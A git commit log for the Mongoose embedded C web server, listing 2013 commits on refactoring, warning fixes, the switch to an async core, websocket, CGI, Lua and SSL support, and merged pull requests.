Sergey Lyubka 4576b69e30 Initializing remote_ip and remote_port properly 2013-12-31 09:02:24 +00:00
Sergey Lyubka 4fd6eb597d Squashed C++ warning 2013-12-30 12:10:35 +00:00
Sergey Lyubka 257dacd7bb Squashed warning about dangerous optimization 2013-12-30 11:43:07 +00:00
Sergey Lyubka c88b7b19b3 Squashed warning on Windows, using INVALID_SOCKET 2013-12-30 11:35:33 +00:00
Sergey Lyubka 4fbfb5d0d0 Expanded hello example a little 2013-12-27 19:50:14 +00:00
Sergey Lyubka 67c678270e Minor wording changes for feeatures 2013-12-27 18:32:24 +00:00
Sergey Lyubka 049db9015b Mentioned async core 2013-12-26 12:55:50 +00:00
Sergey Lyubka 9dde225b5e Squashed C++ warning in read_from_cgi() 2013-12-26 11:45:44 +00:00
Sergey Lyubka 3a0a22f4cc Add an ability to pass listening socket to mongoose binary 2013-12-26 11:37:52 +00:00
Sergey Lyubka b4a4b15835 Removed old cruft 2013-12-26 11:33:19 +00:00
Sergey Lyubka dca2eab152 removed stdio.h 2013-12-26 10:21:09 +00:00
Sergey Lyubka f9f212442c Added comment 2013-12-26 10:20:02 +00:00
Sergey Lyubka 83793aadde Removed num_threads 2013-12-26 10:14:13 +00:00
Sergey Lyubka f7a705c40a Added multi-threaded example 2013-12-26 10:13:04 +00:00
Sergey Lyubka f5f6edcf5a Added mg_printf() back 2013-12-26 10:12:18 +00:00
Sergey Lyubka 9cb1048c66 Added lightweight feature 2013-12-26 09:33:26 +00:00
Sergey Lyubka 522a7eb554 Added socket functionality 2013-12-24 11:33:56 +00:00
Sergey Lyubka 072833acd5 Squashed win32 warnings 2013-12-23 10:01:11 +00:00
Sergey Lyubka a5aa08e408 Restored post.c in windows example build 2013-12-23 08:09:59 +00:00
Sergey Lyubka 12d98a1732 Restores post.c example 2013-12-23 08:06:35 +00:00
Sergey Lyubka a6c2c2a10b Comparing URI prefix when looking for URI handler 2013-12-23 08:06:10 +00:00
Sergey Lyubka fbe1914226 Copy -> Download and copy 2013-12-23 07:22:05 +00:00
Sergey Lyubka 64a744055f Added notes on buffering POST data and websocket data 2013-12-22 08:27:23 +00:00
Sergey Lyubka 0007e47c07 Build command re-worded 2013-12-22 08:27:02 +00:00
Sergey Lyubka 4708cce8bd mg_poll_server() returns currect time. add mg_set_listening_socket() and mg_get_listening_socket() 2013-12-21 20:52:54 +00:00
Sergey Lyubka 3eb9156e60 calling iterate_over_connections() from the IO thread 2013-12-21 20:26:55 +00:00
Sergey Lyubka 2990f9328a struct linked_list_link -> struct ll 2013-12-21 20:10:08 +00:00
Sergey Lyubka a0befd65a0 Nitpick wording 2013-12-21 16:06:00 +00:00
Sergey Lyubka 872ad8badf Added NO_* and USE_* flag descriptions 2013-12-21 16:04:22 +00:00
Sergey Lyubka 0970e080d9 Added OpenSSL support 2013-12-21 15:50:11 +00:00
Sergey Lyubka 52fe1461d5 Removed SSI 2013-12-21 14:44:29 +00:00
Sergey Lyubka d5b33adb88 Properly crafting HTTP reply line by parsing CGI reply headers 2013-12-21 10:53:20 +00:00
Sergey Lyubka ec84a148f0 Creating server ctl socket in a loop to protect from interrupt 2013-12-21 10:19:12 +00:00
Sergey Lyubka 77d5d4c921 Added sldr reference 2013-12-21 08:34:02 +00:00
Sergey Lyubka 58dab48156 Using unsigned char in deliver_websocket_frame() arithmetic 2013-12-20 17:59:07 +00:00
Sergey Lyubka 7abb406d0f put_delete_auth_file -> dav_auth_file 2013-12-20 17:57:13 +00:00
Sergey Lyubka b941dcd5c5 Removed throttle option 2013-12-20 13:34:09 +00:00
Sergey Lyubka b7adf9b52a Passing server_param to the URI callback 2013-12-20 09:44:51 +00:00
Sergey Lyubka 28f7d83a74 Commented out chat example, as it is broken atm 2013-12-19 10:46:12 +00:00
Sergey Lyubka 34ee1ef3d6 Commented out chat example, as it is broken atm 2013-12-19 10:45:41 +00:00
Sergey Lyubka e518517456 Commented out chat example, as it is broken atm 2013-12-19 10:42:39 +00:00
Sergey Lyubka 7d0662f1bc Make WEBSOCKET_PING_INTERVAL_SECONDS overridable from the command line 2013-12-18 10:13:31 +00:00
Sergey Lyubka e3751d29d5 Made mongoose send websocket PINGs automatically 2013-12-18 09:35:36 +00:00
Sergey Lyubka 04b9ccca22 Testing server PINGs 2013-12-18 09:35:19 +00:00
Sergey Lyubka 1a17165227 Sending messages every 10 seconds, to allow mongoose send PINGs 2013-12-18 09:34:36 +00:00
Sergey Lyubka b6d968f00c Added qcomm example to the build 2013-12-18 09:33:59 +00:00
Sergey Lyubka a69987a711 Updated internals manual 2013-12-16 13:45:13 +00:00
Sergey Lyubka 492328474d Only hello example left, adopted to the new API 2013-12-16 13:33:50 +00:00
Sergey Lyubka 673a2c581f Removed http client, and examples references 2013-12-16 13:32:54 +00:00
Sergey Lyubka 9ef42621e0 Fixed wrong memset() in scan_directory() 2013-12-15 10:12:19 +00:00
Sergey Lyubka f5865886b2 Respecting -run_as_user 2013-12-12 20:31:43 +00:00
Sergey Lyubka 473e2a1cb2 Added <signal.h> for linux, and squashed warning in transfer_file_data() 2013-12-12 13:51:14 +00:00
Sergey Lyubka 146cf1d1c0 Calling mg_socketpair() in a loop until success. Ignoring SIGPIPE. Squashed waring in mg_start_thread() 2013-12-12 13:43:59 +00:00
Sergey Lyubka ab73055ef3 Added side-effect note for mg_create_server() 2013-12-12 13:41:33 +00:00
Sergey Lyubka 3b83543592 Commented out irrelevant design description 2013-12-10 23:49:37 +00:00
Sergey Lyubka d4ac96c24d Some wording/spelling changes 2013-12-10 23:42:44 +00:00
Sergey Lyubka 0612129a88 Async API 2013-12-10 23:34:08 +00:00
Sergey Lyubka 9bd5903f1d API.md is split to API.md and Embed.md 2013-12-10 11:16:25 +00:00
Sergey Lyubka d4eae0e251 Added minimalistic example 2013-12-10 00:40:32 +00:00
Sergey Lyubka 4d7ea04dd8 Added cast for c++ friendliness 2013-12-10 00:19:33 +00:00
Sergey Lyubka 653fab6b41 Added skeleton lua support 2013-12-09 15:53:35 +00:00
Sergey Lyubka f4c30b746e Switched to async, non-blocking core 2013-12-09 14:18:49 +00:00
Sergey Lyubka 923e5004e8 Added CFLAGS_EXTRA to windows compilation flags 2013-12-09 11:53:55 +00:00
Sergey Lyubka b14a1e25f0 Not generating mongoose.c 2013-12-08 18:39:03 +00:00
Sergey Lyubka 5a3b1123f6 tests moved under build 2013-12-07 17:47:14 +00:00
Sergey Lyubka 6a9494b683 Added mg_get_var() to core, with unit test 2013-12-07 17:46:56 +00:00
Sergey Lyubka 63c5658a2b Fixed lua compilation under linux 2013-12-07 17:45:59 +00:00
Sergey Lyubka fe087cdce9 Fixed lsp_sock_send(), return value 2013-12-07 17:45:34 +00:00
Sergey Lyubka af7efd980c Adjusting unit test for core 2013-12-06 22:14:55 +00:00
Sergey Lyubka 2cb325c981 Added DAV to core 2013-12-06 16:01:41 +00:00
Sergey Lyubka 66435a7158 Removed speed limit feature 2013-12-06 13:02:44 +00:00
Sergey Lyubka 48417ba911 Formatting change in overview 2013-12-06 13:00:33 +00:00
Sergey Lyubka f39c4c8909 Added directory listing support to core 2013-12-06 12:55:28 +00:00
Sergey Lyubka 2a7e720f12 app code moved to qcomm.c 2013-12-06 08:53:30 +00:00
Sergey Lyubka ec22250d9b Added mg_iterate_over_connections(), mg_websocket_write() 2013-12-06 08:52:42 +00:00
Sergey Lyubka a7889756a9 Made qcomm example compile 2013-12-06 08:23:26 +00:00
Sergey Lyubka 9ac67770eb mongoose5 example 2013-12-05 23:16:12 +00:00
Sergey Lyubka 3330bca4be Using mg_handler_t 2013-12-05 16:21:53 +00:00
Sergey Lyubka 31f0409bf9 Added CGI endpoint 2013-12-05 15:03:38 +00:00
Sergey Lyubka ebf9ee089b Do not send 500 when timing out getreq() 2013-12-05 11:12:07 +00:00
Sergey Lyubka 88cf329490 Closing connection on 5xx errors 2013-12-05 10:47:03 +00:00
Sergey Lyubka bba29d32ce Using socketpair for inter-thread communication 2013-12-05 10:01:11 +00:00
Sergey Lyubka 2f1f408882 Added qc test 2013-12-05 04:14:58 +00:00
Sergey Lyubka 46a9e42b8f Async websockets work 2013-12-05 04:14:10 +00:00
Sergey Lyubka 58d3abe165 Fixed iterate_callback() 2013-12-05 00:52:42 +00:00
Sergey Lyubka 03e737829a Made URI handler work 2013-12-05 00:22:21 +00:00
Sergey Lyubka 95d8881454 Fixed spool() to properly resize, commented out non-implemented API 2013-12-04 10:19:55 +00:00
Sergey Lyubka a50a52ca91 Fixed #259 2013-12-04 10:11:12 +00:00
Sergey Lyubka 50371ef309 Introduced file_stat_t to use 64 bit file support on Windows 2013-12-03 12:08:45 +00:00
Sergey Lyubka 6192d1b53a Added send_http_error() 2013-12-03 11:12:43 +00:00
Sergey Lyubka daa9175139 Added caching support (304 response) 2013-12-03 11:01:43 +00:00
Sergey Lyubka 8a65611a8c Using core.h and modified API 2013-12-02 22:22:22 +00:00
Sergey Lyubka 6c8a0aa768 denying directory accesses 2013-12-01 10:49:25 +00:00
Sergey Lyubka 787b15551d builtin mime types defs moved to top 2013-12-01 10:28:00 +00:00
Sergey Lyubka 2c896e7e5c Added proper static file handling, but range support is still broken 2013-12-01 10:25:31 +00:00
Sergey Lyubka 0e49214c7e Added mutex protection for write calls 2013-12-01 09:46:05 +00:00
Sergey Lyubka 914606a046 fmtspool() -> mg_write() 2013-12-01 07:44:38 +00:00
Sergey Lyubka b30417e908 Made core c++ friendly 2013-12-01 00:42:04 +00:00
Sergey Lyubka 5b8d4cdf68 main(argc,argv) -> main(void) 2013-12-01 00:35:22 +00:00
Sergey Lyubka ba06d135c3 Added call_user() 2013-12-01 00:33:26 +00:00
Sergey Lyubka f0d3d7e81d Cleaning up ctl sockets 2013-11-30 23:59:53 +00:00
Sergey Lyubka d1bd15291e request pipelining done 2013-11-30 23:23:38 +00:00
Sergey Lyubka d00b7f4300 Serving files 2013-11-28 20:44:11 +00:00
Sergey Lyubka ebc909b61b Added copyright 2013-11-27 14:10:51 +00:00
Sergey Lyubka 537fb39b21 Async, non-blocking experiment 2013-11-27 14:09:34 +00:00
Sergey Lyubka e106151072 Showing port number on mongoose icon context menu 2013-11-26 22:17:29 +00:00
Sergey Lyubka 257de0709f Better wording for put_delete_auth_file option 2013-11-25 17:06:24 +00:00
Sergey Lyubka 774a819e76 Better description for put_delete_auth_file option 2013-11-25 17:05:12 +00:00
Sergey Lyubka ff1412f29d Better description for put_delete_auth_file option 2013-11-25 17:04:41 +00:00
Sergey Lyubka c6606c714f Removed symbian-specific #defines. Nokia and Symbian got killed by Microsoft. 2013-11-25 14:32:33 +00:00
Sergey Lyubka de3d4e3019 Formatted hyperlinks 2013-11-25 13:45:48 +00:00
Sergey Lyubka 2f49e63d5b Moved docstrings to API.md 2013-11-25 13:43:12 +00:00
Sergey Lyubka 988b40f70d Moved webdav functions into webdav.c 2013-11-24 17:33:05 +00:00
Sergey Lyubka b5fdd48d76 Moved websocket functions into websocket.c 2013-11-24 17:29:21 +00:00
Sergey Lyubka f4f73a8dfa Init vars in handle_cgi_request() 2013-11-23 15:04:35 +00:00
Sergey Lyubka 74711c686f Added directory scanning example, and enabled posix routines in Lua for unix environment 2013-11-23 13:58:27 +00:00
Sergey Lyubka 78c994f7cc Added /I. for CL flags 2013-11-23 13:58:01 +00:00
Sergey Lyubka 2d5d668863 Squashed warning 2013-11-23 13:48:55 +00:00
Sergey Lyubka 87279f3518 Throttling functionality removed 2013-11-23 13:47:07 +00:00
Sergey Lyubka bd10a03da0 Throttling functionality removed 2013-11-23 13:46:45 +00:00
Sergey Lyubka d138119d24 Made separate target for mongoose-lua-sqlite 2013-11-23 13:44:33 +00:00
Sergey Lyubka 73019665fa moved mg_upload() into upload.c 2013-11-23 10:49:13 +00:00
Sergey Lyubka 66824e7757 moved CGI and IO into separate files 2013-11-23 10:47:35 +00:00
Sergey Lyubka 7fe6b29218 mg_get_cookie() moved to string.c 2013-11-23 10:32:43 +00:00
Sergey Lyubka ebdf973af9 log_access() moved to log.c 2013-11-23 10:31:24 +00:00
Sergey Lyubka 71dd7a96c7 mg_url_decode() moved to string.c 2013-11-23 10:26:28 +00:00
Sergey Lyubka 886dcb3f5d get_request_len() moved to string.c 2013-11-23 10:25:20 +00:00
Sergey Lyubka 37751a2875 directory ops moved to directory.c 2013-11-23 10:24:25 +00:00
Sergey Lyubka 45347bd44c Moved mime-type functions to mime.c 2013-11-23 07:48:46 +00:00
Sergey Lyubka 8c4521af03 moved remove_double_dots_and_double_slashes() to string.c 2013-11-23 07:46:11 +00:00
Sergey Lyubka 0d2a8db626 Added #define for WSAPoll 2013-11-22 13:39:57 +00:00
Sergey Lyubka e791a795b4 typo fixed 2013-11-22 08:45:04 +00:00
Sergey Lyubka 03d846529d Update README.md 2013-11-13 03:04:31 +00:00
Sergey Lyubka 607651a3ff Squashed warning for MG_REQUEST_END 2013-11-11 17:18:48 +00:00
Sergey Lyubka 0714e0dd8f Updated Android build 2013-11-04 21:15:01 +00:00
Sergey Lyubka 224d18589f Fixed -DNO_SSL build 2013-11-02 10:24:30 +00:00
Sergey Lyubka 2fd7191836 Squashed C++ void * casting warning 2013-10-30 23:04:35 +00:00
Sergey Lyubka 853d162b55 removed double def for ssl_sw 2013-10-30 23:02:36 +00:00
Sergey Lyubka 762a68a0cf Moved some docs to markdown 2013-10-30 23:02:15 +00:00
Sergey Lyubka 1da098671e Moved docstrings to API.md 2013-10-19 14:07:46 -07:00
Sergey Lyubka f852a4db0f Moved docstrings to API.md 2013-10-19 13:14:16 -07:00
Sergey Lyubka ddea940690 Docs added 2013-10-18 08:57:59 -07:00
Sergey Lyubka 292e43b41b Removed unit test dependency 2013-10-15 13:11:47 -07:00
Sergey Lyubka 915e923e35 Firing MG_HTTP_ERROR 2013-10-10 07:46:19 -07:00
Sergey Lyubka e6ac3af454 Removed debug message 2013-10-07 17:29:53 +01:00
Sergey Lyubka 3adaf8dba9 Reaping zombies properly 2013-10-07 17:29:07 +01:00
Sergey Lyubka 1777cc6e86 Squashed warning 2013-10-07 17:28:53 +01:00
Sergey Lyubka f9f623bd60 c# example synced to the current version, and tested 2013-10-06 12:16:46 +01:00
Sergey Lyubka fe95707b4e Rewording 2013-10-06 07:24:34 +01:00
Sergey Lyubka a631ee1e1e Service code refactored 2013-10-05 07:45:05 +01:00
Sergey Lyubka 493666dac6 Wording and links corrected 2013-10-03 19:34:27 +01:00
Sergey Lyubka 46ef4e33c8 Wording and links corrected 2013-10-03 19:34:00 +01:00
Sergey Lyubka cafaecfc56 Moved HTTP client, ssl and some util code into separate files 2013-10-03 19:09:35 +01:00
Sergey Lyubka 47606a71ee Moved unix and win32 code to different files 2013-10-02 23:21:13 +01:00
Sergey Lyubka eedfedd13b Added reference to a relevant pull request in getreq() comment 2013-10-01 19:09:29 +01:00
Sergey Lyubka 87d841d81b Set content_len to 0 for GET requests without Content-Length header. 2013-10-01 18:49:44 +01:00
Sergey Lyubka 5153eebc9b mg_read() does not block on content_len=0. mg_read() reads until socket is closed if content-length is not provided 2013-10-01 17:47:32 +01:00
Sergey Lyubka 70154f6c23 Moved mod_lua.c to src/lua.c 2013-10-01 15:16:09 +01:00
Sergey Lyubka d3577b7877 Moved auth code to separate file 2013-10-01 14:54:26 +01:00
Sergey Lyubka 199e0a330f Moved options handling to src/options.c 2013-09-30 19:57:33 +01:00
Sergey Lyubka a8da1b3334 Moved date parsing in build/src/parse_date.c 2013-09-30 19:51:16 +01:00
Sergey Lyubka 63c19b4631 Moved to unix file format 2013-09-30 13:11:24 +01:00
Sergey Lyubka 1f471e1cf3 Moved string functions to src/string.c 2013-09-30 13:09:16 +01:00
Sergey Lyubka ef28c37529 Removed mg_get_request_info() 2013-09-30 13:02:36 +01:00
Sergey Lyubka cd7e1b9eb7 Moved more ssl defs to internal.h 2013-09-30 12:59:43 +01:00
Sergey Lyubka 226d476856 Moved more defines to internal.h. Squashed some warnings in win32 2013-09-29 23:58:32 +01:00
Sergey Lyubka 21965e0e03 Splitting monolithic mongoose.c to separate files. Amalgamating into mongoose.c for release. 2013-09-29 23:56:59 +01:00
Sergey Lyubka 40ab4a8d3d Fixed websocket example logic when freeing the message, again! 2013-09-29 22:43:58 +01:00
Sergey Lyubka e84d0574fa Fixed websocket example logic when freeing the message 2013-09-29 22:01:31 +01:00
Sergey Lyubka 1a64d37fc7 Fixed mg_websocket_read() 2013-09-29 09:25:47 +01:00
Sergey Lyubka 9cca843a9b Typo fixed 2013-09-29 08:01:14 +01:00
Sergey Lyubka ecbf79135f Refactored API, returned back to event-based handlers. Upload and Websocket API simplified 2013-09-28 11:00:54 +01:00
Sergey Lyubka 96eb48902b Always invoking test 2013-09-28 00:15:24 +01:00
Sergey Lyubka 079c99c47f Started to restore single callback function 2013-09-26 13:25:51 +01:00
Sergey Lyubka 6d2a76b609 Added c# example 2013-09-26 12:50:11 +01:00
Sergey Lyubka 24e0950ca2 Using stdcall for mongoose.dll 2013-09-26 12:49:41 +01:00
Sergey Lyubka 98214ce1a4 Removed init_lua() and open_file() callbacks 2013-09-26 09:35:07 +01:00
Sergey Lyubka 7eed7eab36 Added mongoose.dll target 2013-09-26 09:34:36 +01:00
Sergey Lyubka f0fb5c01a2 Added unit_test.c dependency for unix_unit_test 2013-09-25 22:58:36 +01:00
Sergey Lyubka a92aa3bf49 Added unix_unit_test as a dependancy for mongoose 2013-09-25 18:37:17 +01:00
Sergey Lyubka b12cc9fd49 Refactored handle_options_request() to use mg_write() with less copying 2013-09-25 18:30:51 +01:00
Sergey Lyubka a61c3a2636 Added handle_delete_request(). Refactored convert_uri_to_file_name() 2013-09-25 18:24:36 +01:00
Sergey Lyubka 9fd435059f Setting user_data for fake connection 2013-09-25 14:28:09 +01:00
Sergey Lyubka 3156ac9791 read_websocket(): check for WEBSOCKET_OPCODE_CLOSE corrected 2013-09-25 14:25:14 +01:00
Sergey Lyubka b946f33189 Moved more docs to the web site 2013-09-24 11:24:10 +01:00
Sergey Lyubka 1e0b7054e6 Added mongoose.h to the mongoose.c dependancy 2013-09-24 11:23:51 +01:00
Sergey Lyubka 46e04e857c Added test for dir with non-ascii char 2013-09-24 10:08:39 +01:00
Sergey Lyubka 4abdeaddbf Docs reference moved to downloads section 2013-09-20 13:30:20 +01:00
Sergey Lyubka 029af1c376 Docs moved to Cesanta site 2013-09-20 13:27:48 +01:00
Sergey Lyubka c02f2ff4bb Update instruction to clone Git repo rather then using tarball 2013-09-18 09:52:06 +01:00
Sergey Lyubka f74fec8a7e Split docs by sections 2013-09-18 09:44:12 +01:00
Sergey Lyubka 50f8e8891b Removed references to usermanual.md 2013-09-18 09:44:00 +01:00
Sergey Lyubka d67b1dbd53 Added CommonProgramFiles(x86) to the CGI environment under Win32, to make Win32::OLE work under CGI 2013-09-18 08:11:37 +01:00
Sergey Lyubka b0eeb7d67b Renamed retina icons to @2x.png 2013-09-18 08:07:44 +01:00
Sergey Lyubka 2c6c75cbad Added icns icon file 2013-09-18 08:07:24 +01:00
Sergey Lyubka 241388b8a0 Using icns as bundle icon file 2013-09-18 08:07:06 +01:00
Sergey Lyubka 820b497f42 Installing icns file in DMG 2013-09-18 08:06:48 +01:00
Sergey Lyubka 88d8435a02 mongoose_22x22.png -> mongoose_22x22, let OS get Retina icon automatically 2013-09-18 08:06:08 +01:00
Sergey Lyubka f3f177f3ed Removed analytics tracking 2013-09-17 16:47:27 +01:00
Sergey Lyubka bfa171cd97 Squashed warning: added #include <direct.h> for windows getcwd() 2013-09-17 16:14:50 +01:00
Sergey Lyubka 19c94ce218 Fix for the issue 109 2013-09-17 16:09:00 +01:00
Sergey Lyubka 5e5033a0f3 Fix for the issue 156 2013-09-16 23:25:30 +01:00
Sergey Lyubka 411a269991 valenok -> cesanta 2013-09-16 22:45:19 +01:00
Sergey Lyubka bca6aab5a5 Moved UserManual to docs/ 2013-09-16 22:42:29 +01:00
Sergey Lyubka 330e2ff74e Fixed macos build target 2013-09-16 22:42:18 +01:00
Sergey Lyubka eb5848478c Added credits section mentioning those great who contributed 2013-09-12 17:30:03 +01:00
Sergey Lyubka 5bb361b1d2 Squashed warnings 2013-09-12 10:03:04 +01:00
Sergey Lyubka 0d40364089 Removed unused stuff, lua & ssl sources, reorganized targets. 2013-09-12 10:02:50 +01:00
Sergey Lyubka 16c4fe1f37 4.1 -> 4.2 2013-09-07 22:05:39 +01:00
Sergey Lyubka 3070e8572d removed file locking on windows, to fix the crash introduced by 52e3be5c58 2013-09-07 22:04:59 +01:00
Sergey Lyubka baf4d8af27 Mongoose_$V.dmg -> Mongoose-$V.dmg 2013-09-07 22:04:09 +01:00
Sergey Lyubka d5acf2e2a7 4.0 -> 4.1 2013-09-07 20:21:27 +01:00
Sergey Lyubka 22f8cb14d5 Updated downloads link 2013-09-07 20:20:11 +01:00
Sergey Lyubka e28b3ca91d Not ignoring SIGCHLD, cause it renders system() unusable on QNX 2013-09-07 19:50:54 +01:00
Sergey Lyubka 73d2b395d1 Moved SIGCHLD handler out of mongoose.c. Embedded user must set SIGCHLD handler if CGI is used. 2013-09-07 19:41:40 +01:00
Sergey Lyubka e556a487e0 Fix for the SCRIPT_NAME in the presence of PATH_INFO, https://code.google.com/p/mongoose/issues/detail?id=403 2013-09-07 18:49:24 +01:00
Sergey Lyubka 5728fa1cea Added windows_tiny target. Adding only mongoose.[ch] files to the source tarball. 2013-09-07 18:47:38 +01:00
Sergey Lyubka b461edabd9 Squashed warnings 2013-09-07 18:46:50 +01:00
Sergey Lyubka c9e666babc Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-09-07 07:07:28 +01:00
Sergey Lyubka 18e64397fc Fixed tests 2013-09-07 07:07:18 +01:00
Sergey Lyubka 3c8418d324 Removed -I$(LUA) from LUA_FLAGS 2013-09-07 07:07:07 +01:00
Sergey Lyubka 784a1580ce Merge pull request #232 from ellusak/master
use chunked encoding for directory listing
2013-09-05 11:18:07 -07:00
Sergey Lyubka 6a0ac69761 version 3.9 -> 4.0 2013-09-05 12:35:44 +01:00
ellusak 7c06279a8c use chunked encoding for directory listing 2013-09-05 17:14:34 +08:00
Sergey Lyubka aec6f85f55 Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-09-02 11:15:57 +01:00
Sergey Lyubka 52e3be5c58 Refactored f[un]lockfile for Windows using LockFileEx/UnlockFileEx 2013-09-02 11:15:48 +01:00
Sergey Lyubka 01a664ad06 Merge pull request #231 from tehnick/fix-compilation-warning
Fixed compilation warning
2013-08-31 03:08:06 -07:00
Boris Pek 94933047a7 Fixed compilation warning 2013-08-30 21:32:58 +03:00
Sergey Lyubka cd6005c86f Calling thread_stop() before free-ing conn 2013-08-28 09:54:00 +01:00
Sergey Lyubka 6d14ed3a18 thread_setup -> thread_start 2013-08-28 09:53:10 +01:00
Sergey Lyubka 0fb5db59d3 Putting CFLAGS at the end of the compilation flags for Linux 2013-08-27 00:02:40 +01:00
Sergey Lyubka 20b274bb2b Using amalgamated lua 2013-08-27 00:01:53 +01:00
Sergey Lyubka 00b289a0f4 Added thread_start() and thread_stop() 2013-08-26 12:22:38 +01:00
Sergey Lyubka 9818f9849b Added downloads section 2013-08-20 16:26:33 +01:00
Sergey Lyubka df1c23222e Corrected google group email address. Reworded paragraph about SLRE. 2013-08-20 07:54:28 +01:00
Sergey Lyubka f18ac3e094 Fixed test invokation 2013-08-19 19:10:41 +01:00
Sergey Lyubka d8596fae27 Fixed unit test 2013-08-19 19:10:17 +01:00
Sergey Lyubka 85209ac4fa Reverted contributions by jmucchiello 2013-08-19 11:54:47 +01:00
Sergey Lyubka a58e82b301 Added note about GNU make 2013-08-19 11:39:59 +01:00
Sergey Lyubka 35f485558b Amalgamated Lua 2013-08-19 07:56:13 +01:00
Sergey Lyubka 93365fcbd2 audio/ogg -> application/ogg 2013-08-19 06:46:13 +01:00
Sergey Lyubka e40a44ba70 Moved mod_lua to build/ 2013-08-18 23:04:36 +01:00
Sergey Lyubka 1eed770238 Moved Makefile and main.c to build/ 2013-08-18 23:02:43 +01:00
Sergey Lyubka 511ef4137f Better SSI mime type handling 2013-08-18 13:27:54 +01:00
Sergey Lyubka 479164129b Styling, lines > 80 chars 2013-08-18 13:16:53 +01:00
Sergey Lyubka 08746115e2 Sending EXTRA_HTTP_HEADERS in handle_file_request() 2013-08-18 13:03:39 +01:00
Sergey Lyubka 587aad75c1 License change 2013-08-16 11:28:50 +01:00
Sergey Lyubka 218428662e License change 2013-08-16 11:18:16 +01:00
Sergey Lyubka 04fc209644 removing dmg dir on clean 2013-08-16 11:18:04 +01:00
Sergey Lyubka 53bedd1eb5 made separate targets for each example 2013-08-16 11:17:15 +01:00
Sergey Lyubka a0b43ae8e0 Merge pull request #218 from MikieMorales/patch-3
Changing Embedding example to C file.
2013-08-14 09:50:07 -07:00
Miguel Morales 866a7e2823 Changing Embedding example to C file. 2013-08-14 12:38:32 -04:00
Sergey Lyubka 2055d41a9f Corrected misplaced brackets in parse_http_message() 2013-08-14 10:55:36 +01:00
Sergey Lyubka 1ef29c1b3b Using #define MGSQLEN for the socket queue length 2013-08-14 08:23:30 +01:00
Sergey Lyubka e95dbb90a7 Sending content-length from put_file() 2013-08-14 08:15:42 +01:00
Sergey Lyubka cf18c932a4 Refactored parse_http_message() 2013-08-14 07:41:47 +01:00
Sergey Lyubka a730afc44d Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-08-14 07:09:28 +01:00
Sergey Lyubka 94296c9697 Corrected check for websocket connection close 2013-08-14 07:09:22 +01:00
Sergey Lyubka 667707df50 Merge pull request #214 from DanielOaks/server_software
Added SERVER_SOFTWARE CGI variable
2013-08-13 04:28:26 -07:00
Daniel Oaks 90b6fab3bb Added SERVER_SOFTWARE CGI variable 2013-08-13 21:21:05 +10:00
Sergey Lyubka e47dbcbdc5 Merge pull request #213 from MikieMorales/patch-1
Update UserManual.md
2013-08-12 08:59:39 -07:00
MikieMorales 2a15f8d567 Update UserManual.md
SheBang wikipedia link is broken due to the end parenthesis. I tried escaping it with backslash and it seems to be working now.
2013-08-12 11:23:11 -04:00
Sergey Lyubka b5d397c74f Merge pull request #212 from pas2k/master
Consume \n in mg_fgets when reading from membuf
2013-08-12 04:16:19 -07:00
Pavel Khlebovich 3d6b373c8f (mg_fgets) Accept lines at the end not terminated by \n
(mg_fgets) Don't consume more than size bytes when line cannot fit into buffer.
2013-08-12 14:27:20 +04:00
Sergey Lyubka ed236dddeb changed signature for mg_exec_lua_script(). fixed lua_error_handler() 2013-08-12 09:53:42 +01:00
Sergey Lyubka 596fb1e88a Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-08-12 09:52:22 +01:00
Sergey Lyubka ca0cd5040d Updated sqlite 2013-08-12 09:52:10 +01:00
Pavel Khlebovich 5b84acbc14 Consume \n in mg_fgets when reading from membuf. 2013-08-12 00:47:12 +04:00
Sergey Lyubka c12838e2c3 Merge pull request #211 from nigels-com/msc_ver
gcc complains about _MSC_VER being an undefined macro.
2013-08-08 22:50:19 -07:00
Nigel Stewart fa3e6ce271 gcc complains about _MSC_VER being an undefined macro. 2013-08-08 22:08:00 -05:00
Sergey Lyubka 743f48b8e0 Added mg_exec_lua_script, mg_prepare_lua_environment -> prepare_lua_environment 2013-08-08 13:11:05 +01:00
Sergey Lyubka 421c16b2bb Added -DLUA_USE_DLOPEN, and added mongoose.o: mod_lua.c 2013-08-08 12:15:40 +01:00
Sergey Lyubka 3054a7f09e Make sure child closes all pipe fds when executing CGI 2013-08-03 07:18:25 +01:00
Sergey Lyubka 2de96bd54e Workaround for non-compliant vsnprintf() 2013-08-02 11:00:21 +01:00
Sergey Lyubka f815c315e7 Added git analytics link 2013-08-01 14:20:35 +01:00
Sergey Lyubka e59ee00154 Added request_timeout_ms 2013-07-30 15:21:34 +01:00
Sergey Lyubka b07745ab50 Added Lua dll example 2013-07-30 14:49:52 +01:00
Sergey Lyubka 2468a8fb38 Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-07-30 11:19:42 +01:00
Sergey Lyubka ed38a4102e showing error string as well as numeric error on bind failure 2013-07-30 11:19:33 +01:00
Sergey Lyubka b1c66f6544 Merge pull request #207 from bick4ord/master
Add casts to fix strict compiler errors [-fpermissive]
2013-07-29 13:20:43 -07:00
bick 8f79a0564f Add casts to fix strict compiler errors [-fpermissive]
When using g++ and enforcing strict compiler errors, this commit fixes the following:

mongoose.c: In function ‘char* mg_fgets(char*, size_t, file*, char**)’:
mongoose.c:2405:60: error: invalid conversion from ‘void*’ to ‘char*’ [-fpermissive]

mongoose.c: In function ‘int set_ports_option(mg_context*)’:
mongoose.c:4586:64: error: invalid conversion from ‘void*’ to ‘socket*’ [-fpermissive]

mongoose.c: In function ‘void* worker_thread(void*)’:
mongoose.c:5104:28: error: invalid conversion from ‘void*’ to ‘mg_context*’ [-fpermissive]

mongoose.c: In function ‘void* master_thread(void*)’:
mongoose.c:5220:28: error: invalid conversion from ‘void*’ to ‘mg_context*’ [-fpermissive]
mongoose.c:5235:58: error: invalid conversion from ‘void*’ to ‘pollfd*’ [-fpermissive]
2013-07-29 11:46:24 -07:00
Sergey Lyubka 2e93cde929 Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-07-28 12:15:30 +01:00
Sergey Lyubka e53d05637a Binding to IPv6 addresses 2013-07-28 12:15:16 +01:00
Sergey Lyubka 9d75d35365 v. x.x -> v.x.x 2013-07-28 08:20:21 +01:00
Sergey Lyubka 2ea8d85cff Merge pull request #206 from bick4ord/master
adding include of openssl/err.h to fix errors when NO_SSL_DL is defined:
2013-07-26 22:48:49 -07:00
bick ea81a22529 adding include of openssl/err.h to fix errors when NO_SSL_DL is defined:
mongoose.c:4680:23: error: ‘ERR_get_error’ was not declared in this scope
